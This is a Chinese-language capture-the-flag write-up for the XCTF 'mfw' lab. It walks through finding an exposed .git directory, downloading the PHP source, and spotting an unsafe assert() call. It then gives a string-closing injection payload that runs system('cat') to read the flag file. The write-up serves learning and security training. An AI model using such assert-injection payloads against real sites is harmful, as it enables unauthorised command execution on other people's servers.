mfw靶场学习（信息搜集，小知识点和代码审计学习）

今天这个文章我们简单学习一下信息搜集，拓展小知识点和一点代码审计，每天一点点，进步多一点。

基于攻防时间的web测试靶场：

代码语言：javascript

复制

https://adworld.xctf.org.cn/challenges/details?hash=52595c4f-b564-4c87-a2fa-390e2529b5b4_2&task_category_id=3

解题思路，遇到陌生的一个网站，我们首要的是搜集一些信息，我们可以先着手收集一些明面上的信息，比如我们可以扫描一下网站目录。

ps：小知识点

这里通过扫描网站目录我们可以发现有一个/.git的目录，这个目录我们根据经验了解 git目录是程序员合作项目遗留

我们这里可以利用一个工具将其全部下载下来，当然我们也可以通过手动一个个下载下来。

这里我利用工具下载了这里面的源码，然后我们可以进行一小波代码审计

代码语言：javascript

复制

<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice

assert("file_exists('$file')") or die("That file doesn't exist!");

?>

首先这里通过page利用get方式传入一个值，这个值需要与page相等，否则赋值home给page

然后我们发现下面的file变量会将我们传递进去的参数加上php后缀放入到目录中

然后我们继续往下读，这里发现使用了assert函数，这里就和我们的一句话木马有点相似了啊。

我们的file变量会被带入到这一句中，那么我们就可以进行一个闭合没用的，插入我们想要执行的函数进去了

代码语言：javascript

复制

assert("strpos('$file', '..') === false")

我们想办法让这里闭合

代码语言：javascript

复制

'.system("cat ./templates/flag.php").'

这样构造之后，让前后闭合，同时可以执行中间的语句

出来之后我们查看网站源码